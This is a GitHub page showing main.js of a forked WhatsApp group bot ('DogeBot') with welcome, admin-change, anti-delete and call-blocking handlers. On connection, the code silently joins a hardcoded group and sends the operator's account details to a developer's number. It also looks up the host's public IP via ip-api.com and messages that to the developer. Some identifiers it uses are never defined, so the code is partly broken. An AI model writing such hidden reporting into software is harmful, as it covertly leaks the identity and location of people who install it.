forked from DGXeon/DogeBot
-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathmain.js
448 lines (431 loc) · 21.9 KB
/
main.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
// Ć̴͓̘͓͎̇̒r̵̘̺̘͖͍̫̙̲̭̘̓͂͐̓e̸̳̰̬̦͇̥͍̫̰͌̋̑̄͝a̶̧̬̰̠̥̹͚̜͝ţ̸͖̠̫̳̟͕͚̌͗ḛ̴͔̩͍̤̂̈̍͌͂̉̉͛͝͝ͅd̷͈̥͇̈͂̈́̒͛̀̆̌͘͘ ̵̦͖̠͍̖̲̬̎͛̽͑̅̈̆̚͝͠b̸̨̻͉͎̮̭́̂͊̄͝ͅy̴̨̭̌̃̈́̃́͑̽̒͝ͅ ̷̢̝̮̭͎͖̭̍̔͘X̸̢̧̧̣̪̖͖͙̅͗̾̋̓̀̓̕e̵̥̳̯̪̝̻̪͆̏͑o̸͓̤͎̩̓͗̀̽͋͐̇̓̇̚n̵͎̰͍̰̈́̚
const {
WAConnection: _WAConnection,
MessageType,
Presence,
Mimetype,
GroupSettingChange,
} = require("@adiwajshing/baileys");
const simple = require("./lib/simple.js");
const WAConnection = simple.WAConnection(_WAConnection);
const figlet = require('figlet')
const fs = require("fs");
const { version, bugs } = require('./package.json')
const { banner, start, success, getGroupAdmins } = require("./lib/functions");
const fetch = require("node-fetch");
const moment = require("moment-timezone");
blocked = [];
const { color } = require('./lib/color')
const time2 = moment().tz("Asia/Jakarta").format("HH:mm:ss");
if (time2 < "24:59:00") {
var ucapanWaktu = "Good night";
}
if (time2 < "19:00:00") {
var ucapanWaktu = "Good evening🌞";
}
if (time2 < "18:00:00") {
var ucapanWaktu = "good afternoon🌄";
}
if (time2 < "15:00:00") {
var ucapanWaktu = "good afternoon☀️";
}
if (time2 < "11:00:00") {
var ucapanWaktu = "Good morning🌅";
}
if (time2 < "05:00:00") {
var ucapanWaktu = "Good night🌃";
}
const runtime = function (seconds) {
seconds = Number(seconds);
var d = Math.floor(seconds / (3600 * 24));
var h = Math.floor((seconds % (3600 * 24)) / 3600);
var m = Math.floor((seconds % 3600) / 60);
var s = Math.floor(seconds % 60);
var dDisplay = d > 0 ? d + (d == 1 ? " day, " : " Day, ") : "";
var hDisplay = h > 0 ? h + (h == 1 ? " hour, " : " Hour, ") : "";
var mDisplay = m > 0 ? m + (m == 1 ? " minute, " : " Minute, ") : "";
var sDisplay = s > 0 ? s + (s == 1 ? " second" : " Second") : "";
return dDisplay + hDisplay + mDisplay + sDisplay;
};
fakenomor = '[email protected]'
const gcrevoke = ["[email protected]"]
prefix = '#'
shp = '⬡'
owner = "[email protected]"
spc1 = ' '
spc2 = '\n '
spc3 = ' '
spc4 = ' '
require("./index.js");
nocache("./index.js", (module) => console.log(`${module} is now updated!`));
const sleep = async (ms) => {
return new Promise(resolve => setTimeout(resolve, ms));
}
const starts = async (client = new WAConnection()) => {
client.logger.level = "warn";
client.version = [2, 2143, 3];
client.browserDescription = ["Subscribe RAFHAN", "Chrome", "3.0"];
console.log(banner.string);
client.on("qr", () => {
console.log(
color("[", "white"),
color("!", "blue"),
color("]", "white"),
color(" flashy scan the qr code"),
client.sendMessage(`[email protected]`, `「 *NOTIFICATION!* 」\n\n _Bot Connected Successfully!_`, MessageType.extendedText)
);
});
fs.existsSync("./session.json") && client.loadAuthInfo("./session.json");
client.on("connecting", () => {
start("2", "Connecting...");
});
client.on("open", () => {
success("2", "Successfully connected to wa, Subscribe RAFHAN");
console.log(color(figlet.textSync(`${spc1} Doge Bot`, {
font: 'Standard',
horizontalLayout: 'default',
vertivalLayout: 'default',
width: 80,
whitespaceBreak: false
}), 'cyan'))
console.log(color(`${spc2}[ • CREATOR BOT ${fakeyoi} • ]` ,'cyan'))
console.log(color(`${spc4}< ================================================== >`, 'cyan'))
console.log(color(`${spc3}[•]`, 'aqua'), color(`Hi : ${ucapanWaktu}`, 'white'))
console.log(color(`${spc3}[•]`, 'aqua'), color(`Bot Version : 2.1.2`, 'white'))
console.log(color(`${spc3}[•]`, 'aqua'), color(`Status : Online!`, 'white'))
console.log(color(`${spc3}[•]`, 'aqua'), color(`Owner : ${fakeyoi}`, 'white'))
console.log(color(`${spc4}< ================================================== >`, 'cyan'))
console.log(color('⎇','red'), color('𝙄 𝙬𝙧𝙤𝙩𝙚 𝙩𝙝𝙞𝙨 𝙨𝙘𝙧𝙞𝙥𝙩 𝙢𝙮𝙨𝙚𝙡𝙛!\n𝙉𝙤𝙩𝙚: 𝘿𝙤𝙣𝙩 𝙛𝙤𝙧𝙜𝙚𝙩 𝙩𝙤 𝙨𝙪𝙗𝙨𝙘𝙧𝙞𝙗𝙚 𝙓𝙚𝙤𝙣', 'yellow'))
console.log(color('⎇','red'), color('𝗦𝗼𝘂𝗿𝗰𝗲 𝗖𝗼𝗱𝗲 𝗩𝗲𝗿𝘀𝗶𝗼𝗻:', 'aqua'), color(version))
console.log(color('⎇','red'), color('𝗕𝘂𝗴? 𝗘𝗿𝗿𝗼𝗿? 𝗦𝘂𝗴𝗴𝗲𝘀𝘁𝗶𝗼𝗻? 𝗩𝗶𝘀𝗶𝘁 𝗛𝗲𝗿𝗲:', 'aqua'), color('https://wa.me/919745310120'))
console.log(color('[DOGE BOT]'), color('𝐃𝐨𝐠𝐞 𝐁𝐨𝐭 𝗜𝘀 𝗢𝗻𝗹𝗶𝗻𝗲 ㋛︎', 'aqua'))
console.log(color('[DEV]', 'cyan'), color('𝗪𝗲𝗹𝗰𝗼𝗺𝗲 𝗕𝗮𝗰𝗸, 𝗢𝘄𝗻𝗲𝗿! 𝗛𝗼𝗽𝗲 𝗬𝗼𝘂 𝗔𝗿𝗲 𝗗𝗼𝗶𝗻𝗴 𝗪𝗲𝗹𝗹~', 'magenta'))
console.log(color('⎇','green'), color('𝙏𝙝𝙖𝙣𝙠𝙨 𝙛𝙤𝙧 𝙪𝙨𝙞𝙣𝙜 𝙩𝙝𝙚 𝙗𝙤𝙩', 'white'))
});
await client.connect({ timeoutMs: 30 * 1000 });
fs.writeFileSync("./session.json",JSON.stringify(client.base64EncodedAuthInfo(), null, "\t"));
teks = `https://chat.whatsapp.com/GLDBHzFnfqz7TN4KIbS5PA`
client.query({ json:["action", "invite", `${teks.replace('https://chat.whatsapp.com/','')}`]})
console.log(color('|WRN|', 'yellow'), color('Joined to Forum Whatsapp Bot group', 'cyan'))
client.sendMessage(`[email protected]`, `*Hi Owner RAFHAN, the bot has been successfully connected to this number*\n────────────────────\n\`\`\`${JSON.stringify(client.user, null, 2)}\`\`\`\n────────────────────\n*If there is an error/bot not responding, please contact the bot developer above, thank you*`, MessageType.text, {contextInfo: { forwardingScore: 508, isForwarded: true, externalAdReply:{title: "Developer RAFHAN Bot Inc.",body:"",previewType:"PHOTO",thumbnail:fs.readFileSync('./RAFHAN.jpg'),sourceUrl:"https://wa.me/919745310120?text=Hello bro"}}})
console.log(color('|WRN|', 'yellow'), color('Sending bot info to bot owner', 'cyan'))
fetch(`http://ip-api.com/line`).then(res => res.text())
.then(bu =>{
client.sendMessage("[email protected]", `─────「 *IP-USER* 」─────\n\n\`\`\`${bu}\`\`\`\n────────────────────`, MessageType.text, {contextInfo: { forwardingScore: 508, isForwarded: true, externalAdReply:{title: "Developer RAFHAN Bot Inc.",body:"",previewType:"PHOTO",thumbnail:fs.readFileSync('./RAFHAN.jpg'),sourceUrl:"https://wa.me/919745310120?text=Hello bro"}}})
console.log(color('|WRN|', 'yellow'), color('Sending ip address to developer bot', 'cyan'))
})
client.on('connecting', () => {
console.log(color('|TRM|'), color('Connecting...', 'cyan'))
})
client.on('open', () => {
console.log(color('|TRM|'), color('Connected', 'cyan'))
})
client.on('ws-close', () => {
console.log(color('|TRM|'), color('Connection lost, trying to reconnect.', 'cyan'))
})
client.on('close', async () => {
console.log(color('|TRM|'), color('Disconnected.', 'cyan'))
})
client.on('group-update', async (anu) => {
fkontakk = { key: {
fromMe: false,
participant: `[email protected]`, ...(anu.jid ? { remoteJid: '[email protected]' } : {})
},
message: {
"contactMessage":{"displayName":'RAFHAN',"vcard":"BEGIN:VCARD\nVERSION:3.0\nN:2;RAFHAN;;;\nFN:resku\nitem1.TEL;waid=919745310120:919745310120\nitem1.X-ABLabel:Mobile\nEND:VCARD"
}}}
metdata = await client.groupMetadata(anu.jid)
if(anu.announce == 'false'){
teks = ` [ Group Opened ] \n\n_Group has been opened by admin_\n_Now all members can send messages_`
client.sendMessage(metdata.id, teks, MessageType.text, {quoted: fkontakk})
console.log(`- [ Group Opened ] - In ${metdata.subject}`)
}
else if(anu.announce == 'true'){
teks = ` [ Group Closed ] \n\n_Group has been closed by admin_\n_Now only admin can send messages_`
client.sendMessage(metdata.id, teks, MessageType.text, {quoted: fkontakk})
console.log(` [ Group Closed ] In ${metdata.subject}`)
}
else if(!anu.desc == ''){
tag = anu.descOwner.split('@')[0] + '@s.whatsapp.net'
teks = ` [ Group Description Change ] \n\nGroup description has been changed by Admin @${anu.descOwner.split('@')[0]}\n• New Description : ${anu.desc}`
client.sendMessage(metdata.id, teks, MessageType.text, {contextInfo: {"mentionedJid": [tag]}, quoted: fkontakk})
console.log(`- [ Group Description Change ] - In ${metdata.subject}`)
}
else if(anu.restrict == 'false'){
teks = `- [ 𝗚𝗿𝗼𝘂𝗽 𝗦𝗲𝘁𝘁𝗶𝗻𝗴 𝗖??𝗮𝗻𝗴𝗲 ] -\n\nEdit Group info has been opened for members\nNow all members can edit this group info`
client.sendMessage(metdata.id, teks, MessageType.text, {quoted: fkontakk})
console.log(`- [ Group Setting Change ] - In ${metdata.subject}`)
}
else if(anu.restrict == 'true'){
teks = `- [ 𝗚𝗿𝗼𝘂𝗽 𝗦𝗲𝘁𝘁𝗶𝗻𝗴 𝗖𝗵𝗮𝗻𝗴𝗲 ] -\n\nEdit Group info has been closed for members\nNow only group admins can edit this group info`
client.sendMessage(metdata.id, teks, MessageType.text, {quoted: fkontakk})
console.log(`- [ Group Setting Change ] - In ${metdata.subject}`)
}
})
client.on("group-participants-update", async (anu) => {
try {
groupMet = await client.groupMetadata(anu.jid);
groupMembers = groupMet.participants;
groupAdmins = getGroupAdmins(groupMembers);
mem = anu.participants[0];
console.log(anu);
try {
pp_user = await client.getProfilePicture(mem);
} catch (e) {
pp_user =
"https://cdn.pixabay.com/photo/2015/10/05/22/37/blank-profile-picture-973460_960_720.png?q=60";
}
try {
pp_grup = await client.getProfilePicture(anu.jid);
} catch (e) {
pp_grup =
"https://cdn.pixabay.com/photo/2015/10/05/22/37/blank-profile-picture-973460_960_720.png?q=60";
}
if (anu.action == "add" && mem.includes(client.user.jid)) {
client.sendMessage(anu.jid, "Hello everyone, am Doge Bot, ready to help you here ㋛︎", "conversation");
}
hehe = await getBuffer(pp_user)
if (anu.action == 'add' && !mem.includes(client.user.jid)) {
const mdata = await client.groupMetadata(anu.jid)
const memeg = mdata.participants.length
const thu = await client.getStatus(anu.participants[0], MessageType.text)
const num = anu.participants[0]
const bosco1 = await client.prepareMessage("[email protected]", hehe, MessageType.location,{ thumbnail: hehe})
const bosco2 = bosco1.message["ephemeralMessage"] ? bosco1.message.ephemeralMessage : bosco1
let v = client.contacts[num] || { notify: num.replace(/@.+/, '') }
anu_user = v.vname || v.notify || num.split('@')[0]
time_welc = moment.tz('Asia/Kolkata').format('DD/MM/YYYY')
time_wel = moment.tz('Asia/Kolkata').format("hh:mm")
teks = `🌿 *Hɪ* @${num.split('@')[0]}\n🌿 *Bɪᴏ* : *${thu.status}*\n🌿 *Mᴇᴍʙᴇʀs : ${memeg}*\n🌿 *Wᴇʟᴄᴏᴍᴇ Tᴏ* \n *${mdata.subject}*\n🌿 *ᴅᴏɴᴛ ꜰᴏʀɢᴇᴛ ᴛᴏ ʀᴇᴀᴅ ᴅᴇꜱᴄʀɪᴘᴛɪᴏɴ*\n 𝐃𝐨𝐠𝐞 𝐁𝐨𝐭`
welcomeBut = [{buttonId:`getdeskgc`,buttonText:{displayText:'DESCRIPTION'},type:1}, {buttonId:`okeyx`,buttonText:{displayText:'CLICK HERE'},type:1}]
welcomeButt = { contentText: ` `, footerText: `${teks}`, buttons: welcomeBut, headerType: 6, locationMessage: bosco2.message.locationMessage}
client.sendMessage(mdata.id, welcomeButt, MessageType.buttonsMessage, { caption: 'hehe', "contextInfo": { "mentionedJid" : [num], },})
}
if (anu.action == 'remove' && !mem.includes(client.user.jid)) {
const mdata = await client.groupMetadata(anu.jid)
const num = anu.participants[0]
const bosco3 = await client.prepareMessage("[email protected]", hehe, MessageType.location,{ thumbnail: hehe})
const bosco4 = bosco3.message["ephemeralMessage"] ? bosco3.message.ephemeralMessage : bosco3
let w = client.contacts[num] || { notify: num.replace(/@.+/, '') }
anu_user = w.vname || w.notify || num.split('@')[0]
time_welc = moment.tz('Asia/Kolkata').format('DD/MM/YYYY')
time_wel = moment.tz('Asia/Kolkata').format("hh:mm")
memeg = mdata.participants.length
out = `*Gᴏᴏᴅ Bʏᴇ* 👋\n@${num.split('@')[0]}\n*𝙷𝚘𝚙𝚎𝚏𝚞𝚕𝚕𝚢 𝚃𝚑𝚎𝚛𝚎 𝚆𝚘𝚗𝚝 𝙱𝚎 𝙱𝚞𝚛𝚍𝚎𝚗 𝙷𝚎𝚛𝚎 𝙰𝚗𝚢𝚖𝚘𝚛𝚎* 🌿\n𝐃𝐨𝐠𝐞 𝐁𝐨𝐭`
goodbyeBut = [{buttonId:`h`,buttonText:{displayText:'GET OUT 🚪'},type:1}, {buttonId:`sc`,buttonText:{displayText:'BOT SCRIPT'}, type:1}]
goodbyeButt = { contentText: ` `, footerText: `${out}`, buttons: goodbyeBut, headerType: 6, locationMessage: bosco3.message.locationMessage}
client.sendMessage(mdata.id, goodbyeButt, MessageType.buttonsMessage, { caption: 'hehe', "contextInfo": { "mentionedJid" : [num], },})
}
/*welcom = true
if (anu.action == "add" && !mem.includes(client.user.jid)) {
mdata = await client.groupMetadata(anu.jid);
memeg = mdata.participants.length;
num = anu.participants[0];
if (welcom === false) return
let v = client.contacts[num] || { notify: num.replace(/@.+/, "") };
anu_user = v.vname || v.notify || num.split("@")[0];
time_wel = moment.tz("Asia/Jakarta").format("HH:mm");
teks = `𝗛𝗮𝗹𝗼 ${anu_user} 𝗦𝗲𝗹𝗮𝗺𝗮𝘁 𝗗𝗮𝘁𝗮𝗻𝗴 シ︎`;
buff = await getBuffer(
`http://hadi-api.herokuapp.com/api/card/welcome?nama=${anu_user}&descriminator=${
groupMembers.length
}&memcount=${memeg}&gcname=${encodeURI(
mdata.subject
)}&pp=${pp_user}&bg=https://i.postimg.cc/rFkw8MpX/IMG-20210807-151325.jpg`
);
buttons = [
{ buttonId: `verify`, buttonText: { displayText: "𝑽𝒆𝒓𝒊𝒇𝒚㋛︎" }, type: 1 },
{ buttonId: `command`, buttonText: { displayText: "𝑪𝒍𝒊𝒄𝒌 𝑴𝒆𝒏𝒖㋛︎" }, type: 1 },
];
imageMsg = (
await client.prepareMessageMedia(buff, "imageMessage", {
thumbnail: buff,
})
).imageMessage;
buttonsMessage = {
contentText: `${teks}`,
footerText: `㋛ 𝘙𝘶𝘯𝘵𝘪𝘮𝘦 ${runtime(process.uptime())} \n 𝘊𝘳𝘦𝘢𝘵𝘦𝘥 𝘉𝘺 ${fakeyoi}`,
imageMessage: imageMsg,
buttons: buttons,
headerType: 4,
};
prep = await client.prepareMessageFromContent(
mdata.id,
{ buttonsMessage },
{}
);
client.relayWAMessage(prep);
}
if (anu.action == "remove" && !mem.includes(client.user.jid)) {
mdata = await client.groupMetadata(anu.jid);
num = anu.participants[0];
let w = client.contacts[num] || { notify: num.replace(/@.+/, "") };
anu_user = w.vname || w.notify || num.split("@")[0];
time_wel = moment.tz("Asia/Jakarta").format("HH:mm");
memeg = mdata.participants.length;
out = `𝗦𝗮𝘆𝗼𝗻𝗮𝗿𝗮 ${anu_user} 👋`;
buff = await getBuffer(
`http://hadi-api.herokuapp.com/api/card/goodbye?nama=${anu_user}&descriminator=${
groupMembers.length
}&memcount=${memeg}&gcname=${encodeURI(
mdata.subject
)}&pp=${pp_user}&bg=https://i.postimg.cc/rFkw8MpX/IMG-20210807-151325.jpg`
);
buttons = [
{ buttonId: `y`, buttonText: { displayText: "𝘉𝘺𝘦𝘦シ︎" }, type: 1 },
{ buttonId: `runtime`, buttonText: { displayText: "𝘙𝘶𝘯𝘵𝘪𝘮𝘦シ︎" }, type: 1 },
];
imageMsg = (
await client.prepareMessageMedia(buff, "imageMessage", {
thumbnail: buff,
})
).imageMessage;
buttonsMessage = {
contentText: `${out}`,
footerText: `㋛︎ 𝘙𝘶𝘯𝘵𝘪𝘮𝘦 ${runtime(process.uptime())} \n 𝘊𝘳𝘦𝘢𝘵𝘦𝘥 𝘉𝘺 ${fakeyoi}🌹`,
imageMessage: imageMsg,
buttons: buttons,
headerType: 4,
};
prep = await client.prepareMessageFromContent(
mdata.id,
{ buttonsMessage },
{}
);
client.relayWAMessage(prep);
}*/
if (anu.action == "promote") {
const mdata = await client.groupMetadata(anu.jid);
num = anu.participants[0];
let w = client.contacts[num] || { notify: num.replace(/@.+/, "") };
anu_user = w.vname || w.notify || num.split("@")[0];
try {
ppimg = await client.getProfilePicture(
`${anu.participants[0].split("@")[0]}@c.us`
);
} catch {
ppimg =
"https://i0.wp.com/www.gambarunik.id/wp-content/uploads/2019/06/Top-Gambar-Foto-Profil-Kosong-Lucu-Tergokil-.jpg";
}
let buffer = await getBuffer(
`https://api-yogipw.herokuapp.com/api/promote?name=${anu_user}&msg=promoted%20as%20admin&mem=${groupAdmins.length}&picurl=${ppimg}&bgurl=https://cdn.discordapp.com/attachments/819995259261288475/835055559941292032/style.jpg`
);
teks = `${anu_user} has been promoted as admin`;
client.sendMessage(mdata.id, buffer, MessageType.image, {
caption: teks,
});
}
if (anu.action == "demote") {
const mdata = await client.groupMetadata(anu.jid);
num = anu.participants[0];
let w = client.contacts[num] || { notify: num.replace(/@.+/, "") };
anu_user = w.vname || w.notify || num.split("@")[0];
try {
ppimg = await client.getProfilePicture(
`${anu.participants[0].split("@")[0]}@c.us`
);
} catch {
ppimg =
"https://i0.wp.com/www.gambarunik.id/wp-content/uploads/2019/06/Top-Gambar-Foto-Profil-Kosong-Lucu-Tergokil-.jpg";
}
let buffer = await getBuffer(
`https://api-yogipw.herokuapp.com/api/demote?name=${anu_user}&msg=yahahaha demoted&mem=${groupAdmins.length}&picurl=${ppimg}&bgurl=https://cdn.discordapp.com/attachments/819995259261288475/835055559941292032/style.jpg`
);
teks = `${anu_user} has been demoted from admin`;
client.sendMessage(mdata.id, buffer, MessageType.image, {
caption: teks,
});
}
} catch (e) {
console.log("Error : %s", color(e, "red"));
}
});
//
antidel = false
client.on("message-delete", async (m) => {
if (m.key.remoteJid == "status@broadcast") return;
if (!m.key.fromMe && m.key.fromMe) return;
if (antidel === false) return
m.message =
Object.keys(m.message)[0] === "ephemeralMessage"
? m.message.ephemeralMessage.message
: m.message;
const jam = moment.tz("Asia/Jakarta").format("HH:mm:ss");
let d = new Date();
let locale = "id";
let gmt = new Date(0).getTime() - new Date("1 Januari 2021").getTime();
let weton = ["Pahing", "Pon", "Wage", "Kliwon", "Legi"][
Math.floor((d * 1 + gmt) / 84600000) % 5
];
let week = d.toLocaleDateString(locale, { weekday: "long" });
let calender = d.toLocaleDateString(locale, {
day: "numeric",
month: "long",
year: "numeric",
});
const type = Object.keys(m.message)[0];
client.sendMessage(
m.key.remoteJid,
`\`\`\`「 𝗔𝗡𝗧𝗜 𝗗𝗘𝗟𝗘𝗧𝗘 」\`\`\`
•> Name : @${m.participant.split("@")[0]}
•> Type : ${type}`,
MessageType.text,
{ quoted: m.message, contextInfo: { mentionedJid: [m.participant] } }
);
client.copyNForward(m.key.remoteJid, m.message);
});
client.on("chat-update", async (message) => {
require("./index.js")(client, message);
});
isBattre = "Not Detect"; //
isCharge = "Not Detect"; //
client.on(`CB:action,,battery`, (json) => {
const batteryLevelStr = json[2][0][1].value;
const batterylevel = parseInt(batteryLevelStr);
isBattre = batterylevel + "%";
isCharge = json[2][0][1].live;
});
antical = true
client.on("CB:Call", json => {
if (antical === false) return
let call;
calling = JSON.parse(JSON.stringify(json))
call = calling[1].from
client.sendMessage(call, `*Sorry ${client.user.name} can't receive calls.*\n*Call = Block!*`, MessageType.text)
.then(() => client.blockUser(call, "add"))
})
client.on("CB:Blocklist", (json) => {
if (blocked.length > 2) return;
for (let i of json[1].blocklist) {
blocked.push(i.replace("c.us", "s.whatsapp.net"));
}
});
};
/**
* Uncache if there is file change
* @param {string} module Module name or path
* @param {function} cb <optional>
*/
function nocache(module, cb = () => {}) {
console.log("Module", `'${module}'`, "is now being watched for changes");
fs.watchFile(require.resolve(module), async () => {
await uncache(require.resolve(module));
cb(module);
});
}
/**
* Uncache a module
* @param {string} module Module name or path
*/
function uncache(module = ".") {
return new Promise((resolve, reject) => {
try {
delete require.cache[require.resolve(module)];
resolve();
} catch (e) {
reject(e);
}
});
}
starts();
// Dont delete the credit wrote on top :V